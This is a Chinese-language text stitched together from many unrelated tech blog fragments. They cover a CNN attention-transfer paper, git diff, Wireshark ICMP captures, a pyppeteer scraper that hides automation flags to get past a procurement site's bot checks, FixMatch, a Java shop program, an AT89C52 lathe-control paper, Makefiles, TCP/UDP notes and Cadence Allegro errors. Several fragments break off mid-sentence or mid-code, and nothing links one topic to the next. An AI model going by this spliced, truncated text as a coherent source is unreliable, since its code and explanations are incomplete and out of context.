PAYING MORE ATTENTION TO ATTENTION: IMPROVING THE PERFORMANCE OF CONVOLUTIONAL NEURAL NETWORKS VIA ATTENTION TRANSFER Paper and CodeSUGGESTIONAbstract1 Introduction2 RELATED WORK3 ATTENTION TRANSFER3.1 ACTIVATION-BASED ATTENTION TRANSFER三种空间注意力映射函数的差异根据教师和学生的深度,可以考虑以下两种情况AT_Loss可结合Hinton的KD 3.2 GRADIENT-BASED ATTENTION TRANSFER 4 EXPERIMENTAL SECTION IMPROVING THE PERFORMANCE OF CONVOLUTIONAL NEURAL NETWORKS VIA ATTENTION TRANSFER) Paper and Code Paper and Code
SUGGESTION 建议使用GRADIENT-BASED ATTENTION TRANSFER就可以
Abstract 使学生CNN网络模仿强大的教师网络的注意力图来显著提高其性能
1 Introduction 定义了两种类型的空间注意图:基于激活的和基于梯度的空间注意图
其可用于显著提高卷积神经网络体系结构(各种类型并针对各种不同任务进行训练)的性能。
为此,作者提出了几种将注意力从强大的教师网络转移到较小的学生网络的新方法,目的是提高后者的性能。
Figure 1: (a) An input image and a corresponding spatial attention map of a convolutional network that shows where the network focuses in order to classify the given image.
当我们修改了代码,没有合适的工具的时候,可以用git diff命令导出修改前后,命令如下:
git diff file_name >> file_name_modify_xxx.diff 备注:
file_name_modify_xxx.diff文件中的内容就是自己的修改。diff文件名字【file_name_modify_xxx.diff】随便起,自己容易识别做了啥修改就好,后缀为.diff
机器学习项目实战系列 贷款预测 目录
机器学习项目实战系列 贷款预测
一、概述
二、实战
1.查看数据
2.深入数据
一、概述 贷款预测模型将对用户可以贷款多少进行分类。它基于用户的婚姻状况,教育程度,受抚养人数和就业情况,我们可以为此项目建立一个线性模型。
贷款预测数据集 https://www.kaggle.com/altruistdelhite04/loan-prediction-problem-dataset
二、实战 1.查看数据 2.深入数据
ICMP数据报格式 其中包括前8个字节的ICMP头,也就是前两行。
ICMPv4目标不可达报文(类型:3;代码:0-12) 通过wireshark抓包
通过抓包,发现类型值为3,类型为3说明目的不可达,代码值为3,端口不可达。
观察分析ICMP分组的封装层次
最外层14字节的Eth2,其次20字节的IPV4头,进而是ICMP头,在ICMP头中,数据部分包含新的IP头部,IP数据报的协议类型为UDP。
抓包过程中的出现的问题:
有时很难抓到类型值为3和代码值为3的包。为了解决这一点,可以尝试在cmd系统指令中ping一些不存在的ip地址。或者打开一些不容易进入的网站,即在进入页面时不停的加载。
参考> https://blog.csdn.net/tigerjibo/article/details/7356936
文章目录 一、确认爬取目标二、尝试爬取三、使用`pyppeteer`库四、完整代码 一、确认爬取目标 爬取中国移动采购与招标网
https://b2b.10086.cn/b2b/main/listVendorNotice.html?noticeType=2
二、尝试爬取 首先我使用开发者工具,尝试看一下,数据是怎么请求回来的。
然后就发现这个,
https://b2b.10086.cn/b2b/main/listVendorNoticeResult.html?ekp1APd1=5TLUwJWxAYSUQisKAQ7GQCmzeFYm3elSTJIbLwkENOZcE12UDTYQwQlfkHI060.eBM1uON79v8qI1LO7tF7F.X8OAzNv2UJzHC3c7mIn7kdv8uXX9oYb2fnQHKnadmc5g4UxDf3gtSPSVp2dTR.8w53vDV9zEmIFvtZEfuhjtWpy76pDtYbZyrwDAQu.ajmtBgS6V_te04Npxi.z7n29IOrW0vGx69gEODHLj7SpROqNSgrRnjg6m2C10.nxiPE3Ct1Z7l9prASgIZsjvRvPA4R7qrXjxPHyOQ8qjtk5cusVz6KcLLEq1C0M.iAxh1jFaI_71dvxIVG1Y8GMkyJLRfZdMqR486Fs8hElRevldHeA&TB2MFwna=4QzPraLfz28OIFVRtGW84.C9jpMGeku7LWPoPWDJ02_xrpYWLY.c2YCWGvQsQ.mQo3bNxDkTGTAZ2HyxEen9QeI0e0MV7lT6inRUqWDy47nRYhdG0hqTjvvznYpfB1ONw8X1VE43GQXkqRolOuJW0ShZrVaqEDLjOGaewpowVguQ
根据这个可以通过分析js代码,查看参数的生成方式。使用requests.post请求之后,发现请求失败。
改变策略,使用selenium来试试看,普通的selenium没有隐藏掉相关的信息,发现还是返回不了数据。
现在有两个方法可以解决,一是隐藏掉selenium的信息,二是使用pyppeteer库,这一次先使用pyppeteer来爬取这个网站的信息。
三、使用pyppeteer库 这个库是puppeteer(node.js的一个库)的python版本,已经好久没更新了,之后可以使用node.js来实现,现在先使用pyppeteer来解决这个问题。
一些基本的语法,在上一篇博客中介绍了,有兴趣的可以去看看。
下面来尝试一下
import asyncio from pyppeteer import launch async def main(): url = 'https://b2b.10086.cn/b2b/main/listVendorNotice.html?noticeType=2' browser = await launch(headless=False, ignoreDefaultArgs=['--enable-automation']) page = await browser.newPage() await page.goto(url) # 待提取数据 input('输入随意字符退出:') await browser.close() asyncio.get_event_loop().run_until_complete(main()) OK数据请求回来了,接下来就简单了,只需要把数据,拿出来就行了。
element = await page.querySelectorAll("tbody tr[class]") for el in element: s1 = await el.querySelector("td:nth-child(1)") s1 = await (await s1.getProperty('textContent')).jsonValue() s2 = await el.querySelector("td:nth-child(2)") s2 = await (await s2.
项目中使用jdk8,在mac中安装非常简便,使用命令即可安装:
brew install openjdk@8 安装好以后配置下环境变量,安装结束会有提示。
在idea中如果配置jdk的时候,指向的是openjdk的安装目录,像这样:
就会报错:
一开始百思不得其解,后来发现mac下的不太一样,需要指定到安装目录下,libexec/openjdk.jdk才可以
还有可能存在的一个问题,打开文件夹对话框,选不到/usr目录下
这个时候可以按:command + shift + G
在这里输入路径即可
FixMatch 半监督中的基础论文,自监督和模型一致性的代表作。
Consistency regularization: 无监督学习的方式,数据\(A\)和经过数据增强的\(A\)计做\(A'\) ,同时输入模型\(f\) ,由于其种类相同(未知但相同),所以\(f(A)=f(A')\) ,利用分布相同进行训练即可。Pseudo-labeling: 伪标签,使用人工标注数据集训练模型\(f\),然后使用此模型去预测未标注数据集,结果使用阈值进行过滤当做未标注数据的标签。 假设存在数据集 \(D\),有标签数据集\(D^l\) ,无标签数据集\(D^u\) ,所以\(D=\{D^l,D^u\}\) ,训练模型\(f\),训练步骤如下:
有标签的数据直接使用交叉熵loss无标签的数据线进行前向计算得到结果计做\(Result\) ,设定阈值\(T\),\(0 \ \ if \ softmax(Result)>T \ else \ 0\) 制作一个one-hot的label,利用此label进行交叉熵loss计算在训练的初期会经常出现loss为0的情况,因为前期不稳定,无标签的置信度小于阈值这篇论文主要叙述数据增强的作用,阅读较为简单 STAC 将半监督迁移至目标检测的论文,训练步骤:
使用已标注的数据训练一个大模型\(f_{large}\)
使用这个大模型对未标注数据集进行预测,经过NMS,使用置信度阈值进行过滤,获得\(Pseudo-labeling\)
如果使用数据增强(几何变换),需要将label进行对齐
计算loss即可
Instant-Teaching: An End-to-End Semi-Supervised Object Detection Framework Mean teachers are better role models、解读文章 2021最新的半监督目标检测,下面的论文是其中一个模块(Co-rectify)参考论文,以下给出训练步骤:
先使用标注图像训练一个大模型,未标注图像直接使用大模型生成(先进行NMS,后面置信度设置一个阈值进行过滤)使用伪标签训练模型\(f_a\) ,其中数据使用弱数据增强(RandomFlip)使用伪标签训练模型\(f_b\),其中数据使用强数据增强(mosaic、mixup等),模型\(f_b\)可以不等于\(f_b\)模型 \(f_a\) 和 \(f_b\) 预测的结果进行联合预测,假设模型\(f_a\)的Head网络为\(head_a\),其他类似。例如模型输入为 \(data\) ,\(out_a = f_a(data),out_a'=f_b(data,out_a)\) 其中\(out_a\)为模型\(f_a\)的直接输出,\(out_a'\)是模型\(f_b\)的Head层输出(相当于RPN的结果)。最后将两个结果进行加权平均即可。 \[\left\{\begin{aligned} \left(c_{i}, \mathbf{t}_{i}\right) &=f_{a}\left(\mathbf{x}_{u}\right) \\ \left(c_{i}^{r}, \mathbf{t}_{i}^{r}\right) &=f_{b}\left(\mathbf{x}_{u} ; \mathbf{t}_{i}\right), \\ c_{i}^{*} &=\frac{1}{2}\left(c_{i}+c_{i}^{r}\right), \\ \mathbf{t}_{i}^{*} &=\frac{1}{c_{i}+c_{i}^{r}}\left(\mathbf{t}_{i} c_{i}+\mathbf{t}_{i}^{r} c_{i}^{r}\right) .
以下为笔者的第一篇文章,不喜勿喷。 以下的代码记录了笔者一些查错的过程,读者有兴趣的可以看看,在我看来这个程序别的功能其实没啥,主要就是一个商品购买的背景实现了,后期因为一些个人原因没再帮这个程序进行一个完善,可能后期有时间会倒回来做这个项目也说不准。
目前只是实现了商品的购买,商品的添加与商城的界面设计都需要再记事本实现,这也是这个程序所存在的不足。 以下附上笔者的一张运行图片。
对了一下简单说下笔者当时遇到的一些问题,为后者提供一些参考:
1.注意记事本的编码格式与编译器的编码格式,往往这就是产生乱码的情况
2.文件以字节流读取出来以后转为字符串类型的数据,在其末尾不能进行一个添加,这个我还没有找到相关问题的来源,只是利用了一个在其文件末尾加入,垃圾数据的方式进行一个解决。具体原因,后期完善。
本程序只需在D盘下创建一个文件以kese为文件名称的文件夹再在后期加入三个记事本文件(文件类型与使用方法如下),将代码部分考入编译器,执行即可。
关于商品的添加:
在kese1,kese3,kese4,kese.jpg都需要进行相应的更改,对于kese1,在原有的商品基础上加入商品,在上一行回车换行以后,输入要加入的商品名称,以三个tab键为分割输入商品价格,而后的两个文本文档为价格和商品名称,都以空格为分割添加即可。
对于kese.jpg:
这个是作为购买的界面的图片,命名方式为kese,其图片以jpg为图片后缀。直接丢在D盘的kese文件夹下即可。
对于kese1:
只需创建一个以txt为后缀的文本文件,而后内容自行设定,其主要作用为商城的显示,这个可自行设置。
对于kese3:
同样创建一个以txt为后缀的文本文件,内部主要存储商品内容,其存储格式为商品名加一个空格再加商品名的形式。对于知道怎么实现的大佬可对其读取形式进行一个更改,文件主要以字节流的形式进行一个读取。商品名称以商城名称的顺序存储,笔者当时是本想着用字符数组的形式进行一个存放,但考虑到后期如果商品名称多了,那就不妥了。
对于kese4:
存储格式与kese3相同,存储的主要内容为商品的价格其存储顺序依旧是商城中的顺序。
对于商城购买使用操作说明:
只需在第二个输入框以空格为分割且在不以回车换行结束的情况下,输入商品编号,以旁边的结算按钮为一次结算。
每次结算后都可手动利用鼠标操作对文本框内的内容进行一次清空。
在做这个的时候因为种种原因,还有很多笔者认为的功能都还没有进行一个实现,比如说商品类别的添加与管理者的登录,以后一些相应数据得出后的一些清除,对了,笔者还认为,界面可以在做的简洁一些,这些遗憾可能后期会有一个实现。
import java.io.*; import java.util.*; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.awt.*; /* * 商店 文件复写 记事本 返回String * 第一次先实现简单的读出操作 * 后期的另外考虑 * goods 为物品 */ class Shape{ String goods; public Shape() { this.read(); } private void read() { String file = "
作者简介:汪英(1972—),女,湖南岳阳人,副教授,研究方向:电子技术、物联网应用技术(E-mail:);殷文珊(1975—),女,湖南岳阳人,讲师,硕士,研究方向:计算机通信。
摘要:在用高新技术改造传统机械加工产业中,除了发展高精度、多功能的数控机床外,研发价格低廉、操作方便的简易数控机床也是适合我国国情的一种有效途径。本文采用AT89C52单片机和步进电机设计一种面向现有普通车床进行数控技术改造的微机控制系统,该系统能自动控制完成圆弧类二次曲线形零件的车削等多种功能。其软件设计采用模块化结构,编程简单灵活,扩充性、移植性好,对同类微机数控系统的设计具有一定参考价值。
关键词:简易数控车床;微机控制;软件;AT89C52;步进电机
中图分类号:TP368 文献标识码:A
1引言
数控机床因其智能化、高精度、高速度和高柔性化为制造业带来巨大变化,进入21世纪,我国在制造业方面投入了大量的技术改造资金,数控设备制造迎来了一个快速发展的阶段[1]。但是由于我国制造业起步比较晚,高性能的数控设备引进成本较高,面对众多中小机械加工类企业的普通机床技术改造的需求,采用单片机作为普通机床的数控中心,是较为适合我国国情,改造老式落后加工设备见效快,经济性能好,易于推广的一种有效措施[2]。本文研制了一种普通车床微机控制装置,该装置用于C618车床技术改造,能驱动车床完成手柄类零件车削加工,经现场运行,性能良好。本文主要讨论在这类装置上的系统软件,既是对已成功的软件的总结,也是对如何进一步提高其性能作些探讨。
2系统简介
本微机数控装置适用于改造C618、C616、CW6163等最大加工直径在400毫米以下的普通车床。它通过对刀架在纵横两个方向的运动距离、速度和方向的控制来实现车削内圆、外圆、断面、锥面、切槽、倒角以及圆弧或曲线零件等加工任务。其硬件结构框图如图1所示[3]。
本装置采用AT89C52单片机[4,5]作为控制中心,利用单片机上可编程的计数/定时器C/T0作为定时信号发生器,以中断方式启动CPU向外输出脉冲;利用单片机的P1口作为步进电机驱动信号输出口。在加工过程中,CPU按照用户编制的加工程序从P1口发出相应的一系列脉冲信号,经光电隔离、放大后驱动两台步进电机[6,7],以控制刀架在纵横两个运动的方向、长度和速度,从而与机床主轴配合完成各种车削动作。
3控制系统软件设计
3.1主要程序流程图
由以上分析可知,控制程序的主要功能为:
1)按用户加工程序安排C/T0控制字,以产生相应的定时信号;
2)把加工程序中的位移毫米数转换成相应步进电机的步数;
3)安排步进电机的转向;
4)显示有关参数(如:当前工序的道数,加工性质字,位移的余量等);
5)当C/T0中断信号产生时,驱动电机前进一步。
系统加电复位后,首先完成初始化,同时建立工件号/工序步表首地址对照表,等待操作人员按下启动键,启动键处理程序如图2所示。由流程图可见,整个控制程序是以加工子程序MACHINE为中心组成。正常工作的过程是,操作者按下启动键后,则CPU进入启动键处理程序,在其中安排好工序步表指针指向用户加工程序后,调用加工子程序MACHINE完成工件的加工。加工子程序MACHINE的流程图如图3所示。
进入MACHINE后,首先清除各有关标识和计数器,然后根据工序步表指针取出本工件总的工序步数作为工序步计数器初值,取出第一道工序的标志字,如无错误则转到相应的处理模块执行。所有的处理模块执行完毕后,均转回到MACHINE程序中的DONE处,在此对工序步计数一次,判本工件的所有工序是否全部完成。已完则返回到主程序,未完则转到MACHINE2取出下一道工序继续加工。
工序步间的转换,通过工作信号灯方式来实现。每道工序的开始,设置好刀架运动的方向、长度、初始化C/T0后,便置位工作灯:1(BUSY),进入显示循环等待C/T0中断。在C/T0中断服务子程序中,调用X向或Y向驱动子程序,驱动相应步进电机前进一步,进给计数一次,并判是否走完既定的步数。未完则返回,已完则置完成标志,且复位工作灯后返回。在主程序中循环显示一遍后,将监测工作灯状态,当发现(BUSY)=0时,则控制程序转向执行下一道工序。
由于斜线和圆弧加工时,需要X、Y两相步进电机联动,也即只有当X、Y向行程均走完时,斜线或圆弧的加工才算完毕,故安排他们的工作灯置位时是2(BUSY),当X、Y向电机均前进到终点后,先后两次减1,使得(BUSY)=0,表示斜线或圆弧加工完毕,从而可进入下一道工序。
3.2斜线插补程序
完成斜线或圆弧切削的中心问题是如何根据原始参数,通过位置及轨迹控制运算(即通常所说的插补运算),产生有规律的两串脉冲,来控制刀架的位置及运动轨迹[8]。对插补算法的要求,除了保证运算精度外,还要求运算方法简单以适应八位单片机的特点,另外还应尽量满足刀架运动速度不变的要求,以提高加工质量。在本系统中,采用逐点比较法来进行斜线和圆弧的插补算法[9],它具有算法简单,速度平稳,调节方便,精度适合于普通车床加工要求等优点。
本系统允许1,2,3,4象限的斜线加工。对4个象限的斜线,采用统一的算法,即全部按第一象限的斜线进行插补运算,至于X、Y向电机的进给方向,则在工序开始时由控制程序根据斜线所在象限来规定。
3.3圆弧插补程序
圆弧插补比斜线插补的算法要复杂得多,其复杂度体现在如下三个方面:
1)圆弧有8种不同的类型(4个象限,每个象限内有2种方向——顺时针方向和逆时针方向),要区别对待;
2)圆弧有过象限的问题;
3)圆弧不是线性函数,由于X、Y向脉冲当量不相同且均不等于1,若不加修改直接按通常的圆弧插补公式进行计算,则加工出的曲线将发生畸变,不再是所要求的圆弧。
对于8种不同类型的圆弧,我们将其分为两大类,其中第1象限顺圆弧、第3象限顺圆弧、第2象限逆圆弧、第4象限逆圆弧为一大类,其特点是圆弧发展趋向为:X向坐标绝对值越来越大,Y向坐标绝对值越来越小,记为“XY”;其余4种圆弧为另一大类,特点是圆弧发展趋向为“XY”。两类不同的圆弧插补算法有所区别,且第一大类圆弧还有可能有过象限问题。
4结语
本文设计了一个基于AT89C52单片机的普通车床微机控制系统,完成了单片机驱动步进电机的转向、转速、转数的软件设计,重点研究了斜线及圆弧等二次曲线零件加工中的插补算法,提出了加工程序的循环设计技术。由于本软件采用模块化结构,且在设计时,已考虑了可扩充性等问题,故只要稍作修改便可方便地增加目前尚未开发的其他功能,亦可轻易地移植到那些采用步进电机驱动的其他类型车床的微机控制装置上去,对于同类微机数控系统的设计开发,具有一定的实用价值和指导意义。
参考文献
[1]冯银兰,周会成. 当代数控技术的发展特点及趋势[J].科学之友,2007,10 (2):207-210.
[2]石岩. 数控技术的发展趋势和思考[J]. 职业时空,2007,3(4):50-52.
[3]彭楚武. 微型计算机原理及其应用[M]. 长沙:湖南大学出版社,2009.
[4]Cui Bo, Xu Guangbin. Design and realization of an intelligent data acquisition and display system based on AT89C52 and modbus [C]// Computing, Communication, Control, and Management, 2009.
就以本站为例,我发现网站速度加载特别慢,那么好,直接打开浏览器开发者面板找问题,在network面板下我们先清空所有请求信息,然后强刷网页(Ctrl+F5),看看是那些资源请求影响了网站速度:
我这里呢是每张图片加载都在1-3s,显然图片的加载速度拖了后腿,那么“病根”就在这里,那么“病因是什么呢”,一方面我的服务器带宽很小,另一方面是本身图片体积较大,未做任何处理。
既然找到了原因,那么肯定是要解决一下的,总结了一下,可以从以下方面去着手:
1.对图片进行压缩后再上传,这里推荐一个蛮不错的网站:https://tinypng.com/
2.图片缓存
3.升级服务器带宽
4.图片懒加载
5.CDN加速
我主要采取了图片压缩和懒加载,网站加载速度就有很明显的提升了:
文章来源个人博客:前端小窝
https://www.garfield27.com/archives/58
银保监会分为五大岗位,分别是财经岗、财会岗、法律岗、计算机岗、综合岗,其中,银保监计算机岗位主要从事计算机相关工作及日常办公系统IT平台的开发及维护工作等。邦邦为大家解析报考银报监会计算机岗的专业要求及考试内容!
笔试内容:
银保监会的笔试分为银保监财经类、银保监财会类、银保监法律类、银保监计算机类、银保监综合类五类职位。参加考试的考生都要参加公共科目的考试,包括行政职业能力测验、申论,同时,根据各自报考的类别不同,也要参加对应的专业科目考试。行测和申论的考试题型和内容,我们根据国考考试备考即可,需要注意的是专业课部分,五类专业的考生需要积累经济金融基础知识、相关专业知识和英语水平等知识。
计算机岗专业要求
计算机类:计算机,计算机科学与技术、软件、网络安全及相关计算机专业,计算机应用技术,软件工程、网络工程,信息安全,物联网工程、数字媒体技术。注:个别岗位特别说明不含电气类、通信类及管理信息等专业。这些专业符合计算机岗位的专业要求,在报考时一定要仔细辨别岗位具体要求哪一专业,避免出现失误。
复习计划
由于笔试内容较多,根据自己的实际情况,及早准备。建议从6月份开始全面复习,针对行测各题型、申论、专业知识等内容进行复习,重点扎实基础知识。到9月份左右,开始重点进行真题、模拟题等题目训练,通过大量做题,增强自己的知识熟练度,提高做题效率及准确率。一般从12月份开始,笔试结束后,就可以准备面试备考了,面试备考应趁早,不必等到笔试成绩出来,尤其对于没有面试经验的更要早做打算。
鉴于银保监会在发展前景、薪酬福利、竞争实力等方面的优势,每年报考的考生十分多,竞争激烈,万不可松懈。
相关阅读
基本语法与规则 Makefile 描述的是文件编译的规则,一条规则主要由两部分组成,依赖关系和命令:
targets : prerequisites command targets: 规则的目标,可以是.o,可以是可执行文件,还可以是一个标签prerequisites: 生成目标的依赖文件,可以是多个或者没有command:make时需要执行的命令,可以是任意的shell命令,可以有多条命令,每条命令占一行。 Makefile中主要包含的内容:
显示规则:显式说明如何生成一个目标文件隐晦规则:make命令支持自动推导功能变量的定义:Makefile中可以定义一系列变量,其用法与shell中的变量类似。文件指示:可以在一个makefile中引用另一个makefile,类似c中的include。可以根据某些情况制定makefile中的有效部分,类似c中的条件编译。还可以自定义多行的命令。注释:与shell相同,用#号注释。 make的执行过程:
在shell中执行make之后,会自动搜索Makefile文件,并且将脚本中的第一条规则
定义的目标作为最终目标,然后检查目标的依赖,这时有三种情况:
如果依赖的中间文件不存在,则会根据规则生成中间文件如果依赖的中间文件存在,并且没有它所依赖的生成文件新,则会重新生成这个中间文件。如果依赖的中间文件存在,并且它所依赖的生成文件也没有更新,则不会重新生成。 Makefile 中的通配符 Makefile 支持shell中的通配符,如下:
通配符说明*匹配0个或多个任意字符?匹配任意一个字符[]匹配方括号中制定的字符 通配符在引用变量时的使用,在写依赖规则时,如果直接使用有通配符的变量,会出现错误。如
obj = *.c test : $(obj) gcc -o $@ $^ 当按如上规则make时,会报错找不到*.c。这是因为变量引用中的通配符并不会被展开。而如果想在引用的变量中使用通配符,则需要借助wildcard函数,这个函数会在引用变量时进行通配符的展开,如:
obj = $(wildcard *.c) test : $(obj) gcc -o $@ $^ Makefile 中还支持 % 通配符,也是匹配任意个字符,
test : test1.o test2.o gcc -o $@ $^ %.o : %.c gcc -o $@ $^ %.o会把所有.o文件组合成一个列表,每次从列表中取出一个文件,然后找到文件中和%名称相同的.c文件,然后执行下面的文件,直至列表中的文件取完。这个属于Makefile中静态模规则:规则存在多个目标,规则存在多个目标,并且不同的目标可以根据目标文件的名字自动构造出依赖文件。
Makefile中的变量 变量的定义 变量名称 = 值列表
定义: 在Y函数依赖于X函数的基础上,即X → Y时,如果Y ⊂ X 那么称X→Y是平凡的函数依赖,
如果有Y ⊂ X ,那么X → Y 一定成立
原因:因为Y ⊂ X ,那么Y必然是X中的一部分,因为X确定了,那么自然其子集也确定了,整体可以决定部分
非平凡函数依赖
当关系中属性集合Y不是属性集合X的子集时,存在函数依赖X→Y,则称这种函数依赖为非平凡函数依赖。
前端《组件化系列》目录 「一」用 JSX 建立组件 Parser(解析器)「二」使用 JSX 建立 Markup 组件风格「三」用 JSX 实现 Carousel 轮播组件「四」用 JavaScript 实现时间轴与动画「五」用 JavaScript 实现三次贝塞尔动画库 - 前端组件化「六」用 JavaScript 实现手势库 - 实现监听逻辑「七」用 JavaScript 实现手势库 — 手势逻辑「八」用 JavaScript 实现手势库 — 支持多键触发「九」用 JavaScript 实现手势库 — 事件派发与 Flick 事件「十」用 JavaScript 实现手势库 — 封装手势库 《 本期 》… 待续 … 经历了多次的迭代,我们的手势库功能都已经实现了。但是到了这里我们的代码确实需要重新整理和封装了。如果同学们还记得的,我们之间一开始获取的元素 element 是写死的。但是作为一个手势库,我们绑定的元素必然是由这个库的使用者而决定的。
有一些同学可能就会问:“为什么不一开始就想好怎么写,一开始就封装好呢?现在实现了所有功能,再回头去封装,不是重复工作,浪费了时间了吗?”
其实如果我们一开始我们就想怎么封装,应该怎么设计这个库。因为设计需要考虑的因素很多,而且要实现的功能还没有落实。其实往往这个时候设计出来的方案或者架构到了后面都会被修改 N 次的。那么最后我们花在设计的时间就会比我们花在实现这些功能上要多得多。但是如果我们是先实现了功能,然后再去封装,就变得简单的多。
所以接下来我们就开始封装这个手势库吧!
要封装这个手势库,第一件事就是列出现有的函数,并且给他们归类。那么我们的这个手势库的其实就 3 个部分:
Listener 监听器 mouse 事件 mousedownmouseupmousemove touch 事件 touchstarttouchmovetouchendcancel recognizer 识别器 start()move()end() dispatcher 分发器 dispatch() 如果我们想把这个库做成一个 API 的话,我们就可以用上面提到的三个部分来解耦。
1、编写过程sql
基于上篇文章的test_db库,vi test.sql,新增:
use test_db; begin insert into t_test2(id,name) values(2,'你好'); insert into t_test2(id,name) values(3,'你好'); insert into t_test2(id,name) values(4,'你好'); delete from t_test2 where id=1; select * from t_test2; end; 2、执行sql
hplsql -f test.sql,报错: java.sql.SQLException: Could not open client transport with JDBC Uri: jdbc:hive2://localhost:10000: java.net.ConnectException: Connection refused (Connection refused) ... Caused by: java.net.ConnectException: Connection refused (Connection refused) 3、解决方案
在hive的conf下新建 hplsql-site.xml 并添加以下内容,即
vi /data/server/apache-hive-2.0.1-bin/conf/hplsql-site.xml <configuration> <property> <name>hplsql.conn.default</name> <value>hive2conn</value> <description>The default connection profile</description> </property> <property> <name>hplsql.
重点 停止等待协议、ARQ协议、TCP报文段首部格式,滑动窗口、流量控制、拥塞控制。
运输层重要概念:
端口和套接字的意义。无连接的UDP的特点。面向连接的TCP的特点。在不可靠的网络上实现可靠传输的工作原理,停止等待协议和ARQ协议。TCP的滑动窗口、流量控制、拥塞控制和连接管理。 套接字 源IP地址和目的IP地址以及源端口号和目的端口号的组合称为套接字。其用于标识客户端请求的服务器和服务。
运输层协议概述 网络层和运输层的区别:
网络层为主机之间提供逻辑通信,运输层为应用进程间提供端口对端口的逻辑通信。
如图,IP协议只确保了主机间的通信,但是没有具体到是哪个应用进程,运输层则是具体到了应用进程。
运输层的两个主要协议 用户数据报协议 UDP传输控制协议 TCP 区别:
UDP在传输数据前不需要先建立连接。
TCP提供面向连接的服务,在传送数据前必须先建立连接,数据传送结束后要释放连接。
常用的UDP协议应用:
DNS域名系统多媒体通信 常用的TCP协议应用:
电子邮件 SMTP文件传输FTPhttp传输 5.2 UDP UDP只在IP的服务上增加了复用、分用、和差错检测的功能。
UDP特点: UDP是无连接的,即发送数据前不需要建立连接,因此减少了时延。UDP使用尽最大努力交付,不保证可靠传输。UDP是面向报文的,应用层交给UDP多长的报文,UDP就照样发送,即一次发送一个报文。因此,应用程序必须选择合适大小的报文,如果报文太长,UDP把它交给IP层后,IP可能会对他进行分片,这会降低IP层的效率。如果太短,会使IP数据包的首部相对长度太大,降低IP层的效率。UDP没有拥塞控制。UDP支持一对一,一对多,多对一,多对多的交互通信。UDP的首部开销小,只有8个字节,TCP有20个。 UDP的首部格式 源端口 —— 需要对方回信时选用,不需要时可全0目的端口长度 —— UDP用户数据报的长度,最小值为8检验和 —— 检测传输中是否出错,出错就丢弃
如图:上面有一个伪首部,它并不是UDP数据报真正的首部,只是在计算检验和是,临时添加在UDP用户数据报前面,得到一个临时的UDP数据报。 IP数据报的检验和只检测IP数据报的首部,而UDP的检测是吧首部和数据部分一起都检验。
TCP协议 特点:
面向连接 —— 在使用TCP协议之前,必须先建立连接。传输完毕后,必须释放连接。每个TCP连接只能有两个端点,一对一。提供可靠交付的服务。无差错、不丢失、不重复、按序到达。全双工通信(即通信的双方可以同时发送和接收信息的信息交互方式),连接两端都设有发送缓存和接收缓存,用来临时存放数据。面向字节流。TCP中的"流"指的是流入进程或从进程流出的字节序列 面向字节流的含义:
虽然应用程序和TCP的交互是一次一个数据块,但TCP把应用程序交来的数据仅仅看成一串无结构的字节流。TCP并不知道所传送的字节流的含义,也不保证接收方收到的数据块和发送方应用程序所发出的数据块具有对应大小的关系。(如发送方应用程序交给TCP共10个数据块,但接收方的TCP可能只用了4个数据块处理,交付给上层的应用程序)
TCP和UDP在发送报文时方式不同,TCP不关心应用一次把多长的报文发送到TCP的缓存中,而是根据对方给出的窗口值和当前网络拥塞程度决定报文段应该包含多少字节。
TCP的连接 TCP连接的端点叫做套接字(socket)或插口,例如,IP地址是192.8.3.5,端口号是80,那么套接字就是 192.8.3.5:80
5.4 可靠传输的原理 TCP的报文段是交给IP层传送的,但IP层只能提供最大努力服务,也就是说TCP下面的网络所提供的是不可靠的传输,因此TCP必须采取措施才能让通信变的可靠。
停止等待协议 出现差错情况 发送完一个分组就停止发送,等待对方的确认,收到确认后才发送下一个分组。
如果发送方A发送了数据包给接收方B,过程中数据包丢失,B由于没收到所以不会发送任何信息给A,A只要超过一定时间没收到确认,就认为刚刚发送的分组丢失了,因此重新传送前面发送过的数据包,这叫做超时重传,而具体超过多少时间要重传,需要设置一个超时计时器。
3.确认丢失和确认迟到
确认丢失: 上图中的(a)情况,A发送数据给B,B收到了并且返回数据,但返回的数据在回去的路程中丢失了,因此A在一定的时间内没收到确认,他就会重新传一次数据给B,B收到后会丢弃上次的重复的数据包,重新返回数据包给A
确认迟到 上图b情况,接收方会收到迟到的确认,但是什么也不做。
上述这些可靠传输协议,重传的请求是自动进行的。 停止等待协议的优缺点 优点: 简单
缺点: 信道利用率太低
流水线传输 —— 解决停止等待协议的低效问题 发送方可以连续发送多个分组,不必每发送一个分组就停下来等待对方的确认
使用下列方法中 (1)就可以解决问题了
原文地址:http://blog.sina.com.cn/s/blog_d2b9db420102v70q.html
在我Create Netlist时,或者说import网表时出现如下错误,尝试了很多方法终于搞定了,不清楚到底是哪个在起作用,那就总结一下吧!
#1 ERROR(SPMHNI-176): Device library error detected.
ERROR(SPMHNI-189): Problems with the name of device 'MT48LC2M32B2B5-6_SDRAMTSOP86_MT48LC2M32B2B5-6': 'Name is too long.'.
ERROR(SPMHNI-170): Device 'MT48LC2M32B2B5-6_SDRAMTSOP86_MT' has library errors. Unable to transfer to Allegro.
(1)把PCB editor里默认名字长度由31改为255最大。如上图
(2)把capture 里默认名字长度由31改为255最大。如下图
(3)给env文件内容加点东西
Open your local” env “file in a text editor and add the following line anywhere underneath where it says "source xxxxx"
set ALLEGRO_LONG_NAME_SIZE = 255
set ALLEGRO_LONG_PACKAGE_NAME = TRUE
env文件位置:D:Program FilesCadencepcbenv
如果你想学习电脑音乐,想进入电脑音乐的世界,那么这次我们就来为初学者们介绍一些入门电脑音乐的基本装备,大家可以作为参考,为你进入这一新的世界做足准备!让我们来从最基础的开始.首先,你要下定决心,开始使用电脑来作曲和制作你自己的原创音乐.那么接下来的问题就是,OK,下一步我该怎么做?我该如何开启用电脑制作音乐的第一步?好吧,毫无疑问,你第一步要做的就是要置办你自己的设备.
如果你曾经去过录音棚,你一定会被那些密密麻麻的录音设备所震惊.不过对于初学者来说,你只需要准备五种装备就可以了.这些都是用来作曲和制作音乐的核心部分.这些核心部分包括:一台电脑,音乐制作软件,一个音频接口,同时也包括专业的拓展型声卡,监听音箱/监听耳机,一个麦克风或MIDI控制器(不要忘记,你还需要多种类型的连接线来连接这些硬件设备.)
